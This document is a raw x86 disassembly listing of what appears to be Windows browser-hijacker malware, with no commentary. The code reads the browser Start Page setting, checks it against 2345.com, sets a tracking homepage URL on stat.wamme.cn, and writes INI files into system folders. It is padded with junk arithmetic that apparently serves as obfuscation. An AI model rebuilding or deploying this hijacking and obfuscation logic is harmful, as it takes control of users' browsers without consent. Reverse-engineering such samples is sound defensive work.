mov eax, 0xf957fd3
mov dword [ebp - 0x10c8], 0x104
imul ecx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [ebp - 0x10c8]
push ecx
mov ecx, dword [ebp - 0x10fc]
sub ebx, eax
lea edx, [ebp - 0x144]
push edx
lea eax, [ebp - 0x10d4]
push eax
push 0
add ebx, esi
add ebx, edi
push str.Start_Page
mov edi, 1
push ecx
mov dword [0x459b4c], ebx
mov dword [ebp - 0x10d4], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x41efe2
mov ecx, dword [0x459b50]
mov eax, 0x491979d9
imul dword [0x459b44]
mov esi, ecx
imul esi, esi, 0x426f4
sar edx, 0x11
add esi, edx
mov ebx, edx
mov edx, dword [0x459b3c]
mov eax, 0x415373e5
imul edx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
shr ebx, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
add ebx, esi
lea esi, [eax + ebx*2 + 0x84bc4]
mov eax, dword [0x56d978]
sub esi, edx
test eax, eax
mov dword [0x459b3c], esi
jne 0x41efee
lea ecx, [ebp - 0x144]
push str..2345.com
push ecx
call fcn.0042dc70
add esp, 8
test eax, eax
jne 0x41ef47
lea edx, [ebp - 0x144]
push str..2345.COM
push edx
call fcn.0042dc70
add esp, 8
test eax, eax
je 0x41efe2
mov ecx, dword [0x459b3c]
mov ebx, dword [0x459b58]
mov esi, dword [0x459b44]
imul ebx, ebx, 0x3b76e
mov eax, ecx
imul eax, eax, 0x426f4
add ebx, eax
mov eax, 0x491979d9
imul esi
sar edx, 0x11
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
shl eax, 1
mov ebx, eax
mov eax, 0x89cc5bfb
imul ecx
add edx, ecx
sar edx, 0x10
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x5764ae1b
imul esi
sar edx, 0x12
sub ebx, ecx
mov eax, edx
lea ecx, [ebp - 0x144]
shr eax, 0x1f
push ecx
add eax, edx
sub ebx, eax
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_HomePage_s
push 0x55c448
mov dword [str._r_____r____], ebx
mov dword [0x56d978], edi
call fcn.0042d1d1
push 0x132b600
call sym.CallDll.exe_int___cdecl_pro_cess3_int_
add esp, 0x10
push 0x1f40
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [0x459b3c]
mov ecx, dword [0x459b50]
mov edx, dword [0x459b4c]
imul ecx, ecx, 0x3eb04
mov eax, dword [0x459b40]
imul edx, edx, 0xd61e3
imul eax, eax, 0x1db98
add ecx, edx
mov edx, dword [0x459b54]
add ecx, eax
mov eax, 0x5764ae1b
imul edx
sar edx, 0x12
add ecx, edx
mov edi, edx
shr edi, 0x1f
add edi, ecx
mov ecx, dword [0x459b58]
mov eax, 0xf957fd3
imul ecx, ecx, 0x3b76e
imul esi
sar edx, 0xd
mov eax, edx
add edi, ecx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x491979d9
imul dword [0x459b44]
sar edx, 0x11
mov ecx, edx
add edi, edx
mov edx, dword [ebp - 0x10fc]
shr ecx, 0x1f
add ecx, edi
push edx
mov dword [0x459b4c], ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [0x459b44]
mov eax, 0x491979d9
imul ecx
mov ecx, dword [0x459b40]
sar edx, 0x11
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x20ab631d
imul ecx
sar edx, 0xf
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov eax, 0x4c84c1e9
imul ecx
mov eax, dword [0x459b38]
sar edx, 0x12
imul eax, eax, 0xd61e3
add ebx, edx
mov ecx, edx
mov edx, dword [0x459b50]
imul edx, edx, 0x1db98
mov edi, dword [0x459b58]
shr ecx, 0x1f
imul edi, edi, 0x3b76e
add ecx, ebx
add ecx, eax
mov ebx, dword [0x459b48]
sub ecx, edx
mov eax, 0xf957fd3
imul dword [0x459b54]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x89cc5bfb
imul ebx
add ecx, esi
add ecx, edi
mov dword [0x459b38], ecx
imul ecx, ecx, 0x3eb37
add edx, ebx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x5764ae1b
imul dword [0x459b54]
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x491979d9
imul ebx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x70110
sub ecx, eax
mov eax, dword [ebp - 0x10e4]
add ecx, esi
add edx, ecx
add edx, edi
mov dword [0x459b54], edx
mov ecx, dword [eax]
lea edx, [ebp - 0x10f0]
push edx
push eax
call dword [ecx + 0xa0]
mov eax, dword [ebp - 0x10f0]
push eax
call fcn.004230b0
mov ebx, eax
mov ecx, dword [0x459b40]
mov eax, 0x491979d9
imul dword [0x459b44]
sar edx, 0x11
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0xf6ddfe9
imul ecx
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0xa89b51e5
imul dword [0x459b4c]
sar edx, 0x12
mov edi, dword [0x459b58]
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ecx
mov ecx, dword [0x459b48]
mov edx, ecx
imul edx, edx, 0xbb797
add eax, edx
mov edx, edi
imul edx, edx, 0x3b76e
add eax, edx
mov edx, dword [0x459b38]
imul edx, edx, 0x20dab
add eax, edx
sub eax, dword [0x459b54]
test ebx, ebx
lea eax, [eax + esi - 0xd61e3]
mov dword [0x459b40], eax
je 0x41f29f
mov edi, str.about:blank
mov esi, ebx
mov ecx, 0xc
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x41f293
mov ecx, dword [0x459b58]
mov esi, dword [0x459b50]
mov eax, 0x3da796f7
imul esi, esi, 0x3eb37
imul ecx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x89c36131
imul ecx
add edx, ecx
imul ecx, ecx, 0x9aa75
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
sub eax, ecx
push 1
mov dword [0x459b48], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10e4]
mov ecx, dword [eax]
lea edx, [ebp - 0x10f0]
push edx
push eax
call dword [ecx + 0xa0]
mov eax, dword [ebp - 0x10f0]
push eax
call fcn.004230b0
mov ebx, eax
mov ecx, dword [0x459b48]
mov edi, dword [0x459b58]
mov eax, dword [0x459b4c]
imul ecx, ecx, 0x3eb04
imul edi, edi, 0xc0332
mov edx, dword [0x459b3c]
imul eax, eax, 0xd61e3
sub ecx, eax
mov eax, 0xf6ddfe9
imul edx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x459b44]
sub ecx, eax
mov eax, edx
imul eax, eax, 0x3b76e
sub ecx, eax
mov eax, 0x491979d9
imul edx
sar edx, 0x11
add ecx, edi
mov eax, edx
push 4
shr eax, 0x1f
add ecx, edx
add eax, ecx
push str.http
push ebx
mov dword [0x459b50], eax
call fcn.0042e380
add esp, 0xc
test eax, eax
je 0x41f56b
push 4
push str.HTTP
push ebx
call fcn.0042e380
add esp, 0xc
test eax, eax
je 0x41f56b
push 4
push str.www.
push ebx
call fcn.0042e380
add esp, 0xc
test eax, eax
je 0x41f56b
push 4
push str.WWW.
push ebx
call fcn.0042e380
add esp, 0xc
test eax, eax
je 0x41f56b
push str.http:
push ebx
call fcn.0042dc70
add esp, 8
test eax, eax
jne 0x41f3a7
push str.HTTP:
push ebx
call fcn.0042dc70
add esp, 8
test eax, eax
jne 0x41f3a7
push str.www.
push ebx
call fcn.0042dc70
add esp, 8
test eax, eax
jne 0x41f3a7
push str.WWW.
push ebx
call fcn.0042dc70
add esp, 8
test eax, eax
je 0x41f56b
mov ecx, dword [0x459b38]
mov eax, 0x415373e5
imul ecx
sar edx, 0x10
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
mov ecx, dword [str._r_____r____]
mov eax, 0x20ab631d
imul ecx
mov ecx, dword [0x459b54]
sar edx, 0xf
imul ecx, ecx, 0xd61e3
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x459b40]
sub esi, eax
imul edx, edx, 0x14cd8
mov eax, dword [0x459b58]
imul eax, eax, 0x3b76e
sub esi, ecx
mov ecx, dword [0x459b44]
add esi, edx
add esi, eax
mov eax, 0x491979d9
imul ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add esi, edx
add ecx, esi
push str.http:
push ebx
mov dword [0x459b58], ecx
call fcn.0042dc70
add esp, 8
test eax, eax
je 0x41f517
push str.http:
jmp 0x41f560
mov esi, dword [0x459b40]
imul edi, edi, 0x1db98
mov eax, 0x20ab631d
imul esi
sar edx, 0xf
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov eax, 0x4c84c1e9
imul esi
mov eax, dword [0x459b58]
sar edx, 0x12
imul eax, eax, 0x3b76e
mov esi, edx
add ebx, edx
mov edx, dword [0x459b38]
imul edx, edx, 0xd61e3
shr esi, 0x1f
add esi, ebx
add esi, edx
mov edx, dword [0x459b54]
sub esi, edi
add esi, eax
mov eax, 0xf957fd3
imul edx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
push str.startup.exe
mov dword [0x459b38], esi
call fcn.0040ddb0
add esp, 4
test eax, eax
jle 0x41e7f4
mov eax, dword [ebp - 0x10e4]
test eax, eax
mov byte [ebp - 4], 5
je 0x41f4d8
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10e8]
test eax, eax
mov byte [ebp - 4], 4
je 0x41f4ec
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10d0]
test eax, eax
mov byte [ebp - 4], 2
je 0x41f500
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10e0]
test eax, eax
mov byte [ebp - 4], 1
je 0x420374
jmp 0x42036e
push str.HTTP:
push ebx
call fcn.0042dc70
add esp, 8
test eax, eax
je 0x41f530
push str.HTTP:
jmp 0x41f560
push str.www.
push ebx
call fcn.0042dc70
add esp, 8
test eax, eax
je 0x41f549
push str.www.
jmp 0x41f560
push str.WWW.
push ebx
call fcn.0042dc70
add esp, 8
test eax, eax
je 0x41f56b
push str.WWW.
push ebx
call fcn.0042dc70
add esp, 8
mov ebx, eax
mov edi, dword [0x459b3c]
mov eax, 0x491979d9
imul dword [0x459b44]
sar edx, 0x11
mov esi, edx
mov eax, edi
imul eax, eax, 0x426f4
shr esi, 0x1f
add esi, edx
mov edx, dword [0x459b58]
imul edx, edx, 0x3b76e
add edx, esi
add eax, edx
shl eax, 1
mov ecx, eax
mov eax, 0x89cc5bfb
imul edi
add edx, edi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x5764ae1b
imul dword [0x459b44]
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov edx, dword [0x44ac84]
mov dword [str._r_____r____], ecx
xor eax, eax
mov byte [ebp - 0x8c4], 0
mov ecx, 0xff
lea edi, [ebp - 0x8c3]
rep stosd dword es:[edi], eax
mov ecx, dword [str.fdfdadsafdfghfjkt]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x44ac88]
mov dword [ebp - 0x4c4], ecx
mov ecx, dword [0x44ac8c]
mov dword [ebp - 0x4bc], eax
mov dword [ebp - 0x4b8], ecx
xor eax, eax
mov dword [ebp - 0x4c0], edx
mov dx, word [0x44ac90]
mov word [ebp - 0x4b4], dx
mov ecx, 0x7b
lea edi, [ebp - 0x4b2]
rep stosd dword es:[edi], eax
mov ecx, dword [0x459b50]
stosw word es:[edi], ax
imul ecx, ecx, 0x426f4
mov eax, 0x415373e5
imul dword [0x459b3c]
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add ecx, esi
add eax, edx
lea ecx, [eax + ecx*2 + 0x84bc4]
sub ecx, dword [str._r_____r____]
mov esi, ebx
mov dword [0x459b3c], ecx
lea edi, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x41f676
sub esi, edi
mov dword [ebp - 0x10c8], esi
je 0x41f7ba
push str.http:__
push ebx
call fcn.0042dc70
add esp, 8
test eax, eax
jne 0x41f79f
push str.HTTP:__
push ebx
call fcn.0042dc70
add esp, 8
test eax, eax
jne 0x41f79f
push str.www.
push ebx
call fcn.0042dc70
add esp, 8
test eax, eax
jne 0x41f79f
push str.WWW.
push ebx
call fcn.0042dc70
add esp, 8
test eax, eax
jne 0x41f79f
push str..COM
push ebx
call fcn.0042dc70
add esp, 8
test eax, eax
jne 0x41f79f
push str..com
push ebx
call fcn.0042dc70
add esp, 8
test eax, eax
jne 0x41f79f
push str..NET
push ebx
call fcn.0042dc70
add esp, 8
test eax, eax
jne 0x41f79f
push str..net
push ebx
call fcn.0042dc70
add esp, 8
test eax, eax
jne 0x41f79f
push str..ORG
push ebx
call fcn.0042dc70
add esp, 8
test eax, eax
jne 0x41f79f
push str..org
push ebx
call fcn.0042dc70
add esp, 8
test eax, eax
jne 0x41f79f
push 0x44ac3c
push ebx
call fcn.0042dc70
add esp, 8
test eax, eax
jne 0x41f79f
push 0x44ac38
push ebx
call fcn.0042dc70
add esp, 8
test eax, eax
jne 0x41f79f
push str..htm
push ebx
call fcn.0042dc70
add esp, 8
test eax, eax
jne 0x41f79f
push str..HTM
push ebx
call fcn.0042dc70
add esp, 8
test eax, eax
je 0x41f7b4
push ebx
lea ecx, [ebp - 0x4c4]
push str.__s_
push ecx
call fcn.0042d1d1
add esp, 0xc
mov ecx, dword [0x459b3c]
mov esi, dword [0x459b58]
mov edi, dword [0x459b44]
imul esi, esi, 0x3b76e
mov edx, ecx
imul edx, edx, 0x426f4
add esi, edx
mov eax, 0x491979d9
imul edi
sar edx, 0x11
add esi, edx
mov eax, edx
shr eax, 0x1f
add eax, esi
shl eax, 1
mov esi, eax
mov eax, 0x89cc5bfb
imul ecx
add edx, ecx
sar edx, 0x10
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x5764ae1b
imul edi
push str.C:WINDOWS_system_sdax.txt
push 0x400
sub esi, ecx
sar edx, 0x12
lea ecx, [ebp - 0x8c4]
push ecx
mov eax, edx
shr eax, 0x1f
push 0x449e59
add eax, edx
push str.rtgbh
sub esi, eax
push str.asdf
mov dword [str._r_____r____], esi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test ebx, ebx
je 0x41f9a2
mov eax, ebx
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41f850
sub eax, edx
mov dword [ebp - 0x10c8], eax
je 0x41f9a2
mov edi, str.about:blank
mov esi, ebx
mov ecx, 0xc
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x41f9a2
lea eax, [ebp - 0x144]
push eax
push ebx
call fcn.0042dc70
add esp, 8
test eax, eax
jne 0x41f8fb
lea ecx, [ebp - 0x144]
push ebx
push ecx
call fcn.0042dc70
add esp, 8
test eax, eax
jne 0x41f8fb
mov edi, str.http:__i.maxthon.cn_
mov esi, ebx
lea ebx, [ebx]
mov dl, byte [esi]
mov cl, byte [edi]
mov al, dl
cmp dl, cl
jne 0x41f8d8
test al, al
je 0x41f8d4
mov cl, byte [esi + 1]
mov dl, byte [edi + 1]
mov al, cl
cmp cl, dl
jne 0x41f8d8
add esi, 2
add edi, 2
test al, al
jne 0x41f8b0
xor eax, eax
jmp 0x41f8dd
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x41f8fb
lea edx, [ebp - 0x4c4]
push edx
lea eax, [ebp - 0x8c4]
push eax
call fcn.0042dc70
add esp, 8
test eax, eax
je 0x41f913
lea ecx, [ebp - 0x1c4]
push ecx
push ebx
call fcn.0042dc70
add esp, 8
test eax, eax
je 0x41f9a2
mov ecx, dword [0x459b40]
mov edi, dword [0x459b4c]
mov eax, 0xf6ddfe9
imul ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov esi, dword [0x459b48]
mov eax, 0xa89b51e5
imul edi
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x459b58]
mov ebx, eax
imul edx, edx, 0x3b76e
mov eax, dword [0x459b38]
sub ebx, ecx
imul eax, eax, 0x20dab
mov ecx, esi
imul ecx, ecx, 0xbb797
add ebx, ecx
add ebx, edx
add ebx, eax
mov eax, 0x491979d9
imul dword [0x459b44]
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
mov edx, dword [0x459b54]
add ecx, ebx
sub ecx, edx
sub ecx, 0xd61e3
mov dword [0x459b40], ecx
jmp 0x41fa48
push 0
call fcn.0042d807
mov ecx, dword [0x459b44]
mov dword [0x56d974], eax
mov eax, dword [0x56d970]
add esp, 4
inc eax
mov dword [0x56d970], eax
mov esi, dword [0x459b50]
mov eax, 0x491979d9
imul esi, esi, 0x3eb37
imul ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov dword [ebp - 0x10c8], ecx
mov ecx, dword [0x459b58]
mov eax, 0x3da796f7
imul ecx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x89c36131
imul ecx
add edx, ecx
imul ecx, ecx, 0x9aa75
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add esi, edx
mov edx, dword [ebp - 0x10d8]
add eax, esi
sub eax, ecx
mov dword [0x459b48], eax
mov eax, dword [ebp - 0x10e4]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0x9c]
mov ecx, dword [0x459b40]
mov esi, dword [0x459b48]
mov edi, dword [0x459b4c]
mov eax, dword [0x459b58]
imul eax, eax, 0x3b76e
mov dword [ebp - 0x10d4], eax
mov eax, 0x491979d9
imul dword [0x459b44]
sar edx, 0x11
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov eax, 0x20ab631d
imul ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x10d8], eax
mov eax, 0x4c84c1e9
imul ecx
mov eax, dword [ebp - 0x10d8]
sar edx, 0x12
add eax, edx
mov ecx, edx
shr ecx, 0x1f
add ecx, eax
mov eax, dword [0x459b38]
imul eax, eax, 0xd61e3
add ecx, eax
mov eax, dword [0x459b50]
imul eax, eax, 0x1db98
sub ecx, eax
mov eax, 0xf957fd3
imul dword [0x459b54]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10d4]
sub ecx, eax
mov eax, dword [ebp - 0x10f4]
add ecx, ebx
add ecx, edx
test eax, eax
mov dword [0x459b38], ecx
je 0x4200d1
lea edx, [eax + 1]
mov dword [ebp - 0x10d8], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x41faf6
sub eax, dword [ebp - 0x10d8]
mov dword [ebp - 0x10d8], eax
je 0x4200d1
mov ecx, dword [str._r_____r____]
imul esi, esi, 0x20dab
mov eax, 0x415373e5
imul ecx, ecx, 0x70110
imul edi
imul edi, edi, 0x84de8
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x459b50]
sub edi, eax
mov eax, dword [ebp - 0x10d4]
add esi, ebx
add esi, edi
add ecx, esi
add ecx, eax
lea eax, [ecx + edx - 0xd61e3]
push 0xffffffffffffffff
push 0x55d550
lea ecx, [ebp - 0x113c]
mov dword [0x459b44], eax
call fcn.00406850
mov ecx, dword [0x459b44]
mov ebx, dword [0x459b48]
mov eax, 0x491979d9
imul ebx, ebx, 0x3eb04
imul ecx
imul ecx, ecx, 0x3b76e
sar edx, 0x11
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x459b4c]
imul edx, edx, 0xd61e3
mov edi, dword [0x459b58]
sub ebx, edx
mov eax, 0xf6ddfe9
imul dword [0x459b3c]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [ebp - 0x10f4]
sub ebx, ecx
mov ecx, edi
imul ecx, ecx, 0xc0332
add ebx, esi
add ecx, ebx
mov byte [ebp - 4], 7
mov dword [0x459b50], ecx
mov dword [ebp - 0x10c8], 0x55cd48
jmp 0x41fbf0
mov dl, byte [eax]
mov ebx, dword [ebp - 0x10c8]
mov byte [ebp - 0x10c9], dl
cmp dl, byte [ebx]
jne 0x41fc28
test dl, dl
je 0x41fc24
mov dl, byte [eax + 1]
mov byte [ebp - 0x10c9], dl
cmp dl, byte [ebx + 1]
jne 0x41fc28
add ebx, 2
add eax, 2
test dl, dl
mov dword [ebp - 0x10c8], ebx
jne 0x41fbf0
xor eax, eax
jmp 0x41fc2d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4200b6
mov eax, 0x415373e5
imul dword [0x459b3c]
mov ebx, ecx
imul ebx, ebx, 0x426f4
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add ebx, esi
mov esi, dword [str._r_____r____]
add eax, edx
lea edx, [eax + ebx*2 + 0x84bc4]
mov ebx, dword [ebp - 0x10f4]
sub edx, esi
mov eax, ebx
mov dword [0x459b3c], edx
lea edx, [eax + 1]
mov dword [ebp - 0x10d8], edx
lea ebx, [ebx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x41fc80
sub eax, dword [ebp - 0x10d8]
cmp eax, 0x800
jae 0x41fcac
mov ecx, ebx
mov edx, 0x55cd48
jmp 0x41fca0
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x41fca0
jmp 0x41fd14
mov eax, 0x3da796f7
imul ecx, ecx, 0x3eb37
imul edi
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x89c36131
imul edi
add edx, edi
imul edi, edi, 0x9aa75
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add ecx, edx
add eax, ecx
sub eax, edi
push 0x7ff
mov dword [0x459b48], eax
xor eax, eax
push ebx
mov ecx, 0x200
mov edi, 0x55cd48
push 0x55cd48
rep stosd dword es:[edi], eax
call fcn.0042e250
mov esi, dword [str._r_____r____]
mov edi, dword [0x459b58]
add esp, 0xc
mov ecx, dword [0x459b48]
imul edi, edi, 0x3b76e
imul esi, esi, 0x70110
mov ebx, dword [0x459b38]
mov eax, 0x89cc5bfb
imul ebx, ebx, 0x3eb37
imul ecx
add edx, ecx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x459b54]
sub ebx, eax
mov eax, 0x5764ae1b
imul edx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x491979d9
imul ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x491979d9
imul dword [0x459b44]
add ebx, edi
sar edx, 0x11
sub ebx, ecx
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
add eax, esi
mov dword [0x459b54], eax
mov eax, 0x55c448
lea ecx, [eax + 1]
jmp 0x41fda0
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x41fda0
sub eax, ecx
cmp eax, 5
jbe 0x4200b6
mov ecx, dword [ebp - 0x10f4]
push str.ConfigL6
push ecx
call fcn.00404c50
add esp, 8
test eax, eax
jne 0x4200b6
mov ecx, dword [0x459b38]
mov eax, 0x415373e5
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x20ab631d
imul ecx
mov eax, dword [0x459b40]
sar edx, 0xf
imul eax, eax, 0x14cd8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x459b54]
sub esi, ecx
imul edx, edx, 0xd61e3
mov ecx, dword [0x459b58]
imul ecx, ecx, 0x3b76e
sub esi, edx
add esi, eax
add esi, ecx
mov ecx, dword [0x459b44]
mov eax, 0x491979d9
imul ecx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
push 0x132b600
mov dword [0x459b58], eax
call sym.CallDll.exe_int___cdecl_pro_cess3_int_
add esp, 4
xor edi, edi
cmp edi, 0x64
jge 0x41feed
mov ecx, dword [0x459b3c]
mov ebx, dword [0x459b58]
mov esi, dword [0x459b44]
imul ebx, ebx, 0x3b76e
mov edx, ecx
imul edx, edx, 0x426f4
add ebx, edx
mov eax, 0x491979d9
imul esi
sar edx, 0x11
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
shl eax, 1
mov ebx, eax
mov eax, 0x89cc5bfb
imul ecx
add edx, ecx
sar edx, 0x10
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x5764ae1b
imul esi
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
sub ebx, ecx
add eax, edx
sub ebx, eax
push 0x64
mov dword [str._r_____r____], ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x55c448
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41fed6
sub eax, edx
mov dword [ebp - 0x10d8], eax
je 0x41feed
inc edi
jmp 0x41fe56
mov ecx, dword [0x459b44]
mov esi, dword [0x459b50]
mov eax, 0x491979d9
imul esi, esi, 0x426f4
imul ecx
mov ecx, dword [0x459b3c]
mov ebx, dword [str._r_____r____]
sar edx, 0x11
mov edi, edx
add esi, edx
mov eax, 0x415373e5
imul ecx
sar edx, 0x10
push str.C:_WINDOWS_system32driversetc_service5.ini
mov ecx, edx
push 0x800
lea eax, [ebp - 0x10c4]
push eax
shr ecx, 0x1f
shr edi, 0x1f
add ecx, edx
push 0x449e59
add edi, esi
lea edx, [ecx + edi*2 + 0x84bc4]
push str.ConfigL5
sub edx, ebx
push str.GameType1
mov dword [0x459b3c], edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov ecx, dword [0x459b4c]
mov eax, 0x415373e5
imul ecx
imul ecx, ecx, 0x84de8
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x459b58]
sub ecx, eax
imul edx, edx, 0x3b76e
mov eax, dword [0x459b48]
imul eax, eax, 0x20dab
add ecx, edx
mov edx, dword [0x459b44]
add ecx, eax
mov ebx, dword [0x459b50]
mov eax, 0x491979d9
imul edx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x70110
add eax, ebx
add eax, ecx
lea ecx, [ebp - 0x10c4]
lea eax, [edx + eax - 0xd61e3]
push ecx
mov dword [0x459b44], eax
call fcn.0042d802
inc eax
push eax
lea edx, [ebp - 0x10c4]
push 0x449b00
push edx
call fcn.0042d1d1
add esp, 0x10
push str.C:_WINDOWS_system32driversetc_service5.ini
lea eax, [ebp - 0x10c4]
push eax
push str.ConfigL5
push str.GameType1
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov esi, dword [0x459b50]
mov ecx, dword [0x459b4c]
imul esi, esi, 0x3eb04
mov edx, dword [0x459b40]
imul ecx, ecx, 0xd61e3
add esi, ecx
imul edx, edx, 0x1db98
mov ecx, dword [0x459b54]
add esi, edx
mov eax, 0x5764ae1b
imul ecx
mov eax, dword [0x459b58]
mov ecx, dword [0x459b3c]
imul eax, eax, 0x3b76e
sar edx, 0x12
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
add edi, eax
mov eax, 0xf957fd3
imul ecx
mov esi, dword [0x55c440]
sar edx, 0xd
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x459b44]
mov eax, 0x491979d9
imul ecx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
inc esi
push 0
mov dword [0x459b4c], eax
mov dword [0x55c440], esi
call fcn.0042d807
add esp, 4
mov dword [0x55c444], eax
lea ecx, [ebp - 0x113c]
mov byte [ebp - 4], 6
call fcn.004068d0
mov ecx, dword [0x459b38]
mov esi, dword [0x459b48]
mov eax, 0x89cc5bfb
imul ecx, ecx, 0x3eb37
imul esi
add edx, esi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov edi, dword [0x459b58]
mov eax, 0x5764ae1b
imul edi, edi, 0x3b76e
imul dword [0x459b54]
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x491979d9
imul esi
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
add ecx, edi
sub ecx, eax
mov eax, 0x491979d9
imul dword [0x459b44]
sar edx, 0x11
add ecx, edx
mov eax, edx
mov edx, dword [ebp - 0x10d0]
shr eax, 0x1f
add eax, ecx
mov ecx, dword [str._r_____r____]
imul ecx, ecx, 0x70110
add eax, ecx
mov dword [0x459b54], eax
push ecx
mov eax, esp
mov dword [eax], edx
mov eax, dword [ebp - 0x10d0]
test eax, eax
mov dword [ebp - 0x10d8], esp
je 0x42016f
mov ecx, dword [eax]
push eax
call dword [ecx + 4]
mov ecx, 0x56d698
call fcn.00407760
mov ecx, dword [0x459b40]
mov eax, 0x20ab631d
imul ecx
sar edx, 0xf
mov esi, edx
shr esi, 0x1f
